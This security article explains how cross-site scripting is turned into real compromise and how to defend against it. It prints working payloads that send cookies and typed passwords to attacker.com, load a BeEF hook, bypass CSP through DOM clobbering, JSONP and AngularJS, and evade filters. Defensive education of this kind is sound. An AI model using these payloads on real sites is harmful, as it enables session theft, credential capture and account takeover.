TL;DR —alert(1)proves an XSS exists; it does not show what it is worth. This article moves past proof-of-concept into weaponisation: the three core XSS variants (reflected, stored, DOM-based), then real impact — session hijacking, credential capture, CSRF-token theft, keylogging, BeEF hooking, and full account takeover via authenticated API abuse. It closes with the modern defences (CSP, Trusted Types,HttpOnly, SameSite, framework auto-escaping) that raise the cost of each technique.
Executive Summary
Cross-Site Scripting remains one of the most prevalent web vulnerabilities because the web platform's core design — mixing data and executable script in the same HTML document — makes it easy to introduce and subtle to eliminate. XSS occurs when an application includes attacker-controlled data in a page in a way that the browser interprets as script.
The reason XSS matters is the same-origin trust model. JavaScript running in the context of https://bank.example can do anything the logged-in user can do on that origin: read the DOM, issue authenticated requests with the user's cookies, exfiltrate data, and act on the user's behalf. An XSS is therefore not "someone can pop an alert"; it is "an attacker can execute code as your user, inside your application, with your user's privileges." This article is about turning that capability into concrete compromise — and then defending against it.
The Three Variants
flowchart TD
A["Attacker-controlled input"] --> B{"Where does it<br/>get executed?"}
B -->|"Reflected in the<br/>immediate response"| C["Reflected XSS<br/>(needs a crafted link)"]
B -->|"Stored, served to<br/>other users later"| D["Stored XSS<br/>(self-propagating, high impact)"]
B -->|"Written to the DOM<br/>by client JS, server never sees it"| E["DOM-based XSS<br/>(sink in browser)"]
C & D & E --> F["Script executes in<br/>victim's origin context"]
style D fill:#2a0c14,stroke:#ef233c,color:#fee2e2
style F fill:#1a230c,stroke:#fca311,color:#fef3c7| Variant | Where the payload lives | Trigger | Relative severity |
|---|---|---|---|
| Reflected | In a request parameter, echoed into the response | Victim opens an attacker-crafted URL | Medium–High |
| Stored | Persisted server-side (comment, profile, message) | Any user who views the content | High–Critical |
| DOM-based | Never touches the server; client JS reads a source and writes a sink | Page's own JavaScript | Medium–High |
Stored XSS is generally the most dangerous because it requires no per-victim social engineering and can be wormable — a payload that posts itself to other users' content can spread across a platform (as the historic Samy worm demonstrated, infecting a million MySpace profiles in under a day).
DOM XSS: Sources and Sinks
DOM-based XSS deserves special attention because it is invisible to server-side defences. The vulnerability is entirely client-side: untrusted data flows from a source to a dangerous sink without sanitisation.
COMMON SOURCES DANGEROUS SINKSlocation.hash / .search innerHTML / outerHTMLdocument.referrer document.write()window.name eval() / Function()postMessage data element.setAttribute("on*", ...)localStorage / cookies jQuery .html(), .append() location = / .href (for javascript:)A canonical DOM XSS:
// VULNERABLE: source (location.hash) flows to sink (innerHTML)document.getElementById("welcome").innerHTML = "Hello " + decodeURIComponent(location.hash.slice(1));// Attack: https://app/page#<img src=x onerror=alert(document.domain)>Because the server never sees the payload (everything after # is not sent in the HTTP request), WAFs and server-side filters are blind to it. Only client-side controls (safe sinks, Trusted Types) help.
Weaponisation 1 — Session Hijacking
The oldest weaponisation: steal the session cookie and replay it.
new Image().src = "https://attacker.com/c?" + document.cookie;If the session cookie lacks the `HttpOnly` flag, document.cookie returns it and the attacker captures it, then sets it in their own browser to impersonate the user. `HttpOnly` is the direct counter — it makes the session cookie unreadable from JavaScript, defeating this specific technique. Which is exactly why modern attackers have moved beyond cookie theft to acting in place.
Weaponisation 2 — Acting as the User (the modern endgame)
When cookies are HttpOnly, the attacker cannot exfiltrate them — but the script still runs with those cookies attached to every request it makes. So instead of stealing the session, the attacker uses it: the malicious JS issues authenticated requests directly from the victim's browser.
sequenceDiagram
participant X as XSS payload (in victim browser)
participant App as Application API
Note over X: Runs in victim's origin, cookies auto-attached
X->>App: GET /api/account (read CSRF token + data)
App-->>X: page with anti-CSRF token
X->>App: POST /api/email/change {new: attacker@evil} + token
App-->>X: 200 OK — email changed
X->>App: POST /api/password/reset
Note over X,App: Full account takeover, no cookie ever left the browserThis is the crucial advance: because the script runs inside the origin, it can first read the anti-CSRF token from the page or a `/api/me` endpoint and then submit state-changing requests with that token. This is why XSS defeats CSRF protections — the SameSite cookie and the synchroniser token are both satisfied, because the request genuinely originates from the real site in the real session. The payload changes the account's email and triggers a password reset, achieving account takeover without any credential ever leaving the browser.
Weaponisation 3 — Credential Capture and Keylogging
If the application has a login form (or the attacker injects a fake one), the payload can harvest typed credentials:
document.addEventListener("input", e => { if (e.target.type === "password" || e.target.type === "email") { navigator.sendBeacon("https://attacker.com/k", e.target.value); }});Because the script runs on the legitimate origin, there is no certificate warning, no suspicious domain — the user is on the real site. Injected phishing forms via stored XSS are especially effective for this reason.
Weaponisation 4 — BeEF and Persistent Control
Frameworks like BeEF (Browser Exploitation Framework) turn an XSS into a persistent "hook." The payload loads a hook script that maintains a channel to the attacker's BeEF server, enabling:
- Real-time command of the hooked browser.
- Reconnaissance (browser/plugin/OS fingerprinting, internal network scanning via the victim's browser).
- Social-engineering modules (fake update prompts, credential dialogs).
- Pivoting — using the victim's browser as a proxy into internal applications it can reach but the attacker cannot.
BEEF HOOK CAPABILITIES (typical operational value) Authenticated API abuse / ATO ██████████ highestInternal network recon (pivot) ████████░░Social-engineering modules ███████░░░Persistent browser control ███████░░░Fingerprinting / intel █████░░░░░The single line <script src=//attacker/hook.js></script> (or its obfuscated equivalent) is all that is required; everything else is server-side tooling.
Weaponisation 5 — Bypassing Filters
Real targets rarely allow a clean <script>. Weaponised XSS routinely evades naive filters:
| Technique | Example |
|---|---|
Event handlers (no <script>) | <img src=x onerror=alert(1)>, <svg onload=...>, <body onpageshow=...> |
| Attribute breakout | "><svg onload=...> |
| Encoding | HTML entities, URL/double-URL encoding, unicode escapes |
javascript: URIs | <a href="javascript:...">, <iframe src="javascript:..."> |
| Mutation XSS (mXSS) | Markup the sanitiser parses one way and the browser re-parses another |
| Script gadgets | Abuse the app's own JS libraries (e.g. template engines) to execute |
Mutation XSS is the advanced frontier: even well-regarded sanitisers (DOMPurify and others) have had mXSS bypasses where the browser's HTML parser "fixes up" sanitised markup back into something executable — the same parser-differential idea seen in server-side chains, applied to the DOM.
Defence: Raising the Cost of Every Technique
No single control eliminates XSS; a layered set raises the cost of each weaponisation:
flowchart TD
A["Input"] --> B["1. Context-aware OUTPUT encoding<br/>(HTML/attr/JS/URL)"]
B --> C["2. Framework auto-escaping<br/>(React/Angular/Vue)"]
C --> D["3. Content-Security-Policy<br/>(nonce/strict-dynamic)"]
D --> E["4. Trusted Types<br/>(lock dangerous DOM sinks)"]
E --> F["5. HttpOnly + SameSite cookies"]
F --> G["Residual risk greatly reduced"]
style B fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style D fill:#0c2a22,stroke:#21d48e,color:#d1fae5
style E fill:#0c2a22,stroke:#21d48e,color:#d1fae5- Context-aware output encoding. The root fix: encode data for the exact context it lands in (HTML body, attribute, JS string, URL). Encoding is contextual — what is safe in an HTML body is unsafe in a
<script>block. - Use a framework that auto-escapes. React, Angular, and Vue escape interpolated values by default. The residual risk is the explicit escape hatch (
dangerouslySetInnerHTML,bypassSecurityTrustHtml,v-html) — treat every use as a code-review red flag. - Content-Security-Policy. A strict CSP (nonce-based,
strict-dynamic, nounsafe-inline) means an injected<script>won't run because it lacks the nonce, and inline event handlers are blocked. CSP is the mitigation that turns "XSS = game over" into "XSS = the injected script can't execute." It is your safety net for the XSS you missed. - Trusted Types. A browser feature that forbids assigning raw strings to dangerous DOM sinks (
innerHTML,script.src,eval) unless they pass a vetted policy — it kills most DOM XSS by construction. - `HttpOnly` and `SameSite` cookies.
HttpOnlyblocks cookie exfiltration;SameSite=Lax/Strictreduces cross-site request risk. Neither stops same-origin "act as the user" abuse, which is why they are necessary but not sufficient. - Sanitise rich HTML with a vetted library. Where users must submit HTML (rich text), use a maintained sanitiser (DOMPurify) and keep it updated against mXSS bypasses — never hand-roll a regex sanitiser.
Detection and Testing
| Approach | What it surfaces |
|---|---|
| DAST / scanners | Reflected and some stored XSS via payload injection |
| Manual testing | Context analysis, filter bypasses, DOM source→sink tracing |
| CSP report-uri | Real-time reports of blocked injections in production |
| Code review | Unsafe sinks (innerHTML, v-html, dangerouslySetInnerHTML), missing encoding |
| Browser DevTools | Tracking location.hash/postMessage into DOM sinks |
For testers: report XSS with its weaponised impact, not alert(1). "Stored XSS in profile bio → reads CSRF token → changes victim email → account takeover" communicates real risk and gets prioritised; a screenshot of an alert box does not.DOM Clobbering: Hijacking JavaScript via HTML
DOM clobbering is a subtle technique that turns seemingly inert HTML into a script-injection primitive — without any <script> tag or event handler. It exploits the fact that browsers expose named HTML elements as properties of the window and document objects, which can overwrite JavaScript variables that the application code relies upon.
How Clobbering Works
If an application reads a JavaScript global variable that was never explicitly declared, and an attacker can inject an HTML element with an id or name attribute matching that variable name, the element becomes the variable's value:
<!-- Application code trusts this global: --><script> if (config.allowedOrigins.includes(location.origin)) { // make a cross-origin request }</script> <!-- Attacker injects (e.g. via stored XSS with HTML-only injection): --><a id="config"><a id="config" name="allowedOrigins" href="https://evil.com"></a> <!-- Now: window.config is a DOM collection; config.allowedOrigins is the anchor element; .includes() is called on an HTMLElement which doesn't have that method → throws / bypasses -->A more directly dangerous pattern allows injecting into code paths that use innerHTML-adjacent features:
<!-- Clobbering document.baseURI or script src attribute gadgets: --><base href="https://attacker.com/"> <!-- Any script that does document.createElement('script').src = 'utils.js' now loads attacker.com/utils.js instead of the expected local path -->Clobbering Chains for CSP Bypass
The most impactful use of DOM clobbering is bypassing a strict CSP that would otherwise block <script> injection. If a page loads dynamic scripts using a pattern like:
// Application loads scripts from a config objectvar script = document.createElement('script');script.src = window.scriptConfig.libraryUrl;document.head.appendChild(script);And window.scriptConfig can be clobbered by injecting:
<a id="scriptConfig"><a id="scriptConfig" name="libraryUrl" href="https://attacker.com/evil.js">Then even with a CSP that allows no inline scripts, a script from attacker.com is loaded — the CSP was bypassed via HTML injection that doesn't look like script injection at all.
| Clobbering Target | Technique | Prerequisite |
|---|---|---|
window.x | <a id="x"> or <img id="x"> | HTML injection without sanitiser stripping id |
window.x.y | <a id="x"><a id="x" name="y"> | Same, two levels |
document.currentScript.dataset | Nested form/input elements | Form injection |
document.baseURI | <base href="..."> | <base> not stripped |
DOMPurify by default removes id and name on <a> elements that would shadow existing globals — but older versions and custom configurations have had bypasses, making clobbering an active research frontier.
Mutation XSS (mXSS): Exploiting HTML Parser Differentials
Mutation XSS (mXSS) targets the gap between what a sanitiser considers safe and what the browser's own HTML parser reconstructs from that "safe" markup. The sanitiser sees one DOM structure; the browser serialises and re-parses it into another that contains executable script.
The Parser Differential
HTML parsers have complex, context-sensitive rules for "fixing up" malformed or ambiguous markup. A sanitiser that serialises its output via innerHTML and then sets it into the page causes the browser to re-parse the supposedly-clean string — and that re-parse can produce a different structure than the sanitiser expected.
// Sanitiser produces this string as "safe":"<svg><p><style>/*</style><img src=x onerror=alert(1)>*/</style></p></svg>" // But:// In an SVG context, <p> is not a block element, and <style> content rules differ.// When the browser re-parses the string set via innerHTML,// the </style> closes differently, leaving the onerror= in an executable position.Notable mXSS Bypasses in DOMPurify
DOMPurify (the most widely used HTML sanitiser) has had multiple mXSS bypasses discovered over the years:
| CVE / Date | Bypass mechanism |
|---|---|
| 2019 mXSS | SVG <use> element namespace confusion |
| 2020 mXSS | <math> / <svg> context switching |
| 2023 mXSS | HTML entities inside noscript/script-off parsing |
The takeaway is not that DOMPurify is bad (it is the correct tool), but that any sanitiser operating on raw HTML strings can be defeated by a sufficiently clever parser-differential payload. This motivates the Trusted Types approach: instead of trying to sanitise strings, enforce that only policy-vetted objects can reach dangerous sinks, removing the parser-differential attack surface entirely.
CSP Bypass Techniques
Even a well-configured Content Security Policy has known bypass vectors that red teamers encounter regularly.
JSONP Endpoints
If the application's CSP whitelist includes a domain that hosts a JSONP endpoint, that endpoint can be weaponised as a script source:
<!-- CSP: script-src 'self' https://cdn.example.com --><!-- cdn.example.com hosts: /api/data?callback=alert --><!-- Attacker injects: --><script src="https://cdn.example.com/api/data?callback=alert(document.domain)//"></script><!-- The JSONP response: alert(document.domain)//({"data":...}) executes alert() -->Any whitelisted JSONP endpoint is effectively equivalent to unsafe-eval from the attacker's perspective. Auditing all whitelisted domains for JSONP endpoints is a mandatory step in CSP review.
Angular Template Injection via unsafe-eval-equivalent
Sites using AngularJS (v1.x) with a CSP that whitelists the Angular CDN can be bypassed using Angular's template expression evaluator:
<!-- Application uses AngularJS and CSP whitelist includes angular CDN --><div ng-app ng-csp>{{constructor.constructor('alert(1)')()}}</div>This works because AngularJS itself evaluates expressions — it's an eval that executes via a whitelisted script. Migrating away from AngularJS 1.x and preferring strict-dynamic + nonces eliminates this class.
strict-dynamic and Nonce-Based CSP — The Modern Target
CSP STRENGTH SPECTRUM Level 1: script-src * → trivially bypassedLevel 2: script-src 'self' → any JS file on the origin bypasses itLevel 3: domain whitelist → JSONP / Angular bypass, 90%+ have gapsLevel 4: strict-dynamic + nonce → no known class bypass; only specific app bugsLevel 5: strict-dynamic + nonce + Trusted Types → gold standardstrict-dynamic with a per-request nonce is the configuration that eliminates domain-whitelist bypasses: only scripts with the correct nonce run, and strict-dynamic allows those scripts to dynamically load further scripts (which is needed for module loaders), without opening up domain-based bypass. Even here, **JSONP endpoints on the *same origin*** (/api?callback=...) are still a risk, because 'self' allows them.
Conclusion and Takeaways
XSS is dangerous in direct proportion to the trust the browser places in your origin — which is total. The journey from alert(1) to account takeover is short and well-trodden: run in the victim's session, read the page and its anti-CSRF tokens, and submit authenticated state-changing requests as the user. HttpOnly defeats cookie theft, but it does nothing against an attacker who simply acts through the live session — which is why XSS also quietly defeats CSRF defences and remains a critical-severity issue even on well-cookied applications.
Beyond the classic weaponisations, the advanced frontier — DOM clobbering, mutation XSS, and CSP bypass — demonstrates that the attack surface extends into the browser's own parser behaviour and the configuration of defences. DOM clobbering turns inert HTML into a script injection primitive; mXSS exploits the gap between what a sanitiser sees and what the browser reconstructs; CSP whitelists are routinely undermined by JSONP endpoints or AngularJS evaluators on whitelisted domains.
The defensive strategy is layered and unambiguous: encode output for its context, lean on auto-escaping frameworks and treat their escape hatches as red flags, deploy a strict, nonce-based CSP with `strict-dynamic` as the safety net for the bug you missed, adopt Trusted Types to neutralise DOM sinks (and eliminate the parser-differential surface that mXSS exploits), and set `HttpOnly`/`SameSite` on session cookies. Audit any CSP whitelist for JSONP endpoints before trusting it. None of these alone is sufficient; together they convert XSS from "instant compromise" into "an injected payload that cannot reach a sink, cannot execute, and cannot exfiltrate." Treat every reflected parameter and every rich-text field as a potential foothold into your users' sessions — because to an attacker who knows how to weaponise it, that is exactly what they are.